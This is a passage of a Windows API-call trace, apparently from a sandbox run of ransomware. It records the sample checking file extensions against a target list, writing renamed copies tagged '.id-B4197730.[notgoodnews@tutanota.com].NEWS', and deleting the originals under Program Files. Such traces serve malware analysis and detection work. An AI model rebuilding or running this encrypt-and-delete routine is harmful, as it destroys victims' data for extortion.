shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.574] lstrlenW (lpString=".doc") returned 4 [0158.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.575] lstrlenW (lpString=".docx") returned 5 [0158.575] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0158.575] lstrlenW (lpString=".pdf") returned 4 [0158.575] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.575] lstrlenW (lpString=".xls") returned 4 [0158.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.575] lstrlenW (lpString=".xlsx") returned 5 [0158.575] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0158.575] lstrlenW (lpString=".ppt") returned 4 [0158.575] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.575] lstrlenW (lpString=".zip") returned 4 [0158.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.575] lstrlenW (lpString=".rar") returned 4 [0158.575] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.575] lstrlenW (lpString=".bz2") returned 4 [0158.575] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.575] lstrlenW (lpString=".7z") returned 3 [0158.575] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.575] lstrlenW (lpString=".dbf") returned 4 [0158.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.575] lstrlenW (lpString=".1cd") returned 4 [0158.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.575] lstrlenW (lpString=".jpg") returned 4 [0158.576] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.576] lstrlenW (lpString=".doc") returned 4 [0158.576] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.576] lstrlenW (lpString=".docx") returned 5 [0158.576] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0158.576] lstrlenW (lpString=".pdf") returned 4 [0158.576] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.576] lstrlenW (lpString=".xls") returned 4 [0158.576] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.576] lstrlenW (lpString=".xlsx") returned 5 [0158.576] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0158.576] lstrlenW (lpString=".ppt") returned 4 [0158.576] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.576] lstrlenW (lpString=".zip") returned 4 [0158.576] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.576] lstrlenW (lpString=".rar") returned 4 [0158.576] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.576] lstrlenW (lpString=".bz2") returned 4 [0158.576] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.576] lstrlenW (lpString=".7z") returned 3 [0158.576] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.576] lstrlenW (lpString=".dbf") returned 4 [0158.577] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.577] lstrlenW (lpString=".1cd") returned 4 [0158.577] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0158.577] lstrlenW (lpString=".jpg") returned 4 [0158.577] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.577] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.577] lstrlenW (lpString="oskmenu.xml") returned 11 [0158.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0158.579] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=215) returned 1 [0158.579] CloseHandle (hObject=0x3c0) returned 1 [0158.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0158.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0158.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0158.579] lstrlenW (lpString=".doc") returned 4 [0158.579] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.579] lstrlenW (lpString=".docx") returned 5 [0158.579] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0158.579] lstrlenW (lpString=".pdf") returned 4 [0158.579] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.579] lstrlenW (lpString=".xls") returned 4 [0158.579] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.579] lstrlenW (lpString=".xlsx") returned 5 [0158.579] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0158.579] lstrlenW (lpString=".ppt") returned 4 [0158.579] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0158.580] lstrlenW (lpString=".zip") returned 4 [0158.580] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.580] lstrlenW (lpString=".rar") returned 4 [0158.580] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.580] lstrlenW (lpString=".bz2") returned 4 [0158.580] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.580] lstrlenW (lpString=".7z") returned 3 [0158.580] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0158.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0159.857] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.857] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0160.299] GetLastError () returned 0x0 [0160.299] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1780, lpOverlapped=0x0) returned 1 [0160.315] WriteFile (in: hFile=0x448, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1790, lpOverlapped=0x0) returned 1 [0160.316] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.316] WriteFile (in: hFile=0x448, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.317] SetEndOfFile (hFile=0x448) returned 1 [0160.317] CloseHandle (hObject=0x448) returned 1 [0160.317] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.317] SetEndOfFile (hFile=0x454) returned 1 [0160.320] CloseHandle (hObject=0x454) returned 1 [0160.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0160.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0160.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.321] lstrlenW (lpString=".doc") returned 4 [0160.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.321] lstrlenW (lpString=".docx") returned 5 [0160.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.321] lstrlenW (lpString=".pdf") returned 4 [0160.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.321] lstrlenW (lpString=".xls") returned 4 [0160.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.321] lstrlenW (lpString=".xlsx") returned 5 [0160.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.321] lstrlenW (lpString=".ppt") returned 4 [0160.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.322] lstrlenW (lpString=".zip") returned 4 [0160.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.322] lstrlenW (lpString=".rar") returned 4 [0160.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.322] lstrlenW (lpString=".bz2") returned 4 [0160.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.322] lstrlenW (lpString=".7z") returned 3 [0160.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.322] lstrlenW (lpString=".dbf") returned 4 [0160.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.322] lstrlenW (lpString=".1cd") returned 4 [0160.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.322] lstrlenW (lpString=".jpg") returned 4 [0160.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.322] lstrlenW (lpString=".doc") returned 4 [0160.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.322] lstrlenW (lpString=".docx") returned 5 [0160.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.322] lstrlenW (lpString=".pdf") returned 4 [0160.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.322] lstrlenW (lpString=".xls") returned 4 [0160.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.322] lstrlenW (lpString=".xlsx") returned 5 [0160.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.322] lstrlenW (lpString=".ppt") returned 4 [0160.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.322] lstrlenW (lpString=".zip") returned 4 [0160.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.323] lstrlenW (lpString=".rar") returned 4 [0160.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.323] lstrlenW (lpString=".bz2") returned 4 [0160.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.323] lstrlenW (lpString=".7z") returned 3 [0160.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.323] lstrlenW (lpString=".dbf") returned 4 [0160.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.323] lstrlenW (lpString=".1cd") returned 4 [0160.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0160.323] lstrlenW (lpString=".jpg") returned 4 [0160.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.323] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0160.323] lstrlenW (lpString="HH01759_.WMF") returned 12 [0160.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0160.326] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5414) returned 1 [0160.326] CloseHandle (hObject=0x454) returned 1 [0160.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0160.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0160.327] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.327] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0160.328] GetLastError () returned 0x0 [0160.328] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1526, lpOverlapped=0x0) returned 1 [0160.330] WriteFile (in: hFile=0x448, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1530, lpOverlapped=0x0) returned 1 [0160.331] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.331] WriteFile (in: hFile=0x448, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.331] SetEndOfFile (hFile=0x448) returned 1 [0160.331] CloseHandle (hObject=0x448) returned 1 [0160.331] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.331] SetEndOfFile (hFile=0x454) returned 1 [0160.406] CloseHandle (hObject=0x454) returned 1 [0160.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0160.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0160.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.407] lstrlenW (lpString=".doc") returned 4 [0160.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.407] lstrlenW (lpString=".docx") returned 5 [0160.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.407] lstrlenW (lpString=".pdf") returned 4 [0160.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.407] lstrlenW (lpString=".xls") returned 4 [0160.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.407] lstrlenW (lpString=".xlsx") returned 5 [0160.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.407] lstrlenW (lpString=".ppt") returned 4 [0160.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.408] lstrlenW (lpString=".zip") returned 4 [0160.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.408] lstrlenW (lpString=".rar") returned 4 [0160.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.408] lstrlenW (lpString=".bz2") returned 4 [0160.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.408] lstrlenW (lpString=".7z") returned 3 [0160.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.408] lstrlenW (lpString=".dbf") returned 4 [0160.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.408] lstrlenW (lpString=".1cd") returned 4 [0160.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.408] lstrlenW (lpString=".jpg") returned 4 [0160.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.408] lstrlenW (lpString=".doc") returned 4 [0160.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.408] lstrlenW (lpString=".docx") returned 5 [0160.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.408] lstrlenW (lpString=".pdf") returned 4 [0160.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.409] lstrlenW (lpString=".xls") returned 4 [0160.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.409] lstrlenW (lpString=".xlsx") returned 5 [0160.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.409] lstrlenW (lpString=".ppt") returned 4 [0160.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.409] lstrlenW (lpString=".zip") returned 4 [0160.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.409] lstrlenW (lpString=".rar") returned 4 [0160.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.409] lstrlenW (lpString=".bz2") returned 4 [0160.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.409] lstrlenW (lpString=".7z") returned 3 [0160.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.409] lstrlenW (lpString=".dbf") returned 4 [0160.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.409] lstrlenW (lpString=".1cd") returned 4 [0160.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0160.409] lstrlenW (lpString=".jpg") returned 4 [0160.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.409] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0160.410] lstrlenW (lpString="HH01875_.WMF") returned 12 [0160.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0160.410] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2616) returned 1 [0160.410] CloseHandle (hObject=0x454) returned 1 [0160.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0160.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0160.411] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.411] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft 